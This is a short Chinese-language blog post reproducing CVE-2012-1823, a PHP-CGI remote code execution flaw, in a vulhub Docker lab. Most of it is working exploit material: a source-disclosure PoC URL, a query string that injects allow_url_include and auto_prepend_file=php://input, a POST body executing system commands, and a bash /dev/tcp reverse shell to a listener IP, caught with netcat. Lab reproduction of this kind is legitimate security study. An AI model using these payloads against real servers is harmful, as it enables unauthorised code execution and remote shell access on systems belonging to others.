漏洞复现-PHP-CGI远程代码执行 CVE-2012-1823
漏洞复现
构建
1
2
cd ./vulhub/php/CVE-2012-1823
docker-compose up -d
漏洞原理
https://blog.csdn.net/jiyongx/article/details/105220880 https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823
PoC(Proof of Concept) 验证漏洞存在的代码
1
http://<ip>:<port>/index.php/?-s #将返回源码
Exp(Exploit)进行实际的攻击利用
使用-d来指定auto_prepend_file制造任意文件包含漏洞,使用burpsuite抓包,然后修改数据包内容。使用“+”代替空格%3d代替“=”
payload 漏洞利用载荷:
-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input
<?php echo system("ls"); ?>
执行截图:
成功执行代码ls
建立反弹shell:
shellcode
靶机执行payload
1
<?php echo shell_exec("bash -c 'exec bash -i >& /dev/tcp/<监听机ip>/8999 0>&1'");?>
接收反弹Shell机器执行:nc -lvp 8999
复现总结
为什么payload 要 “+”代替空格%3d代替“=” ?
确保 URL 在传输过程中不被误解或破坏,进行转义。通常,空格会被编码为 %20
,但在查询字符串中,空格也可以用 +
来表示。“=”替换为“%3d” 但on+-d ‘+’ 作为与后一个-d的参数分隔符,不能换成 %20 %09 tab %2b url 解码即为 + 能代替空格
构造反弹shell
注意: 接收反弹Shell机器 监听端口防火墙要配置放行,任意ip能访问,安装nc 靶机 能够执行bash命令,且访问到监听机
This post is licensed under CC BY 4.0 by the author.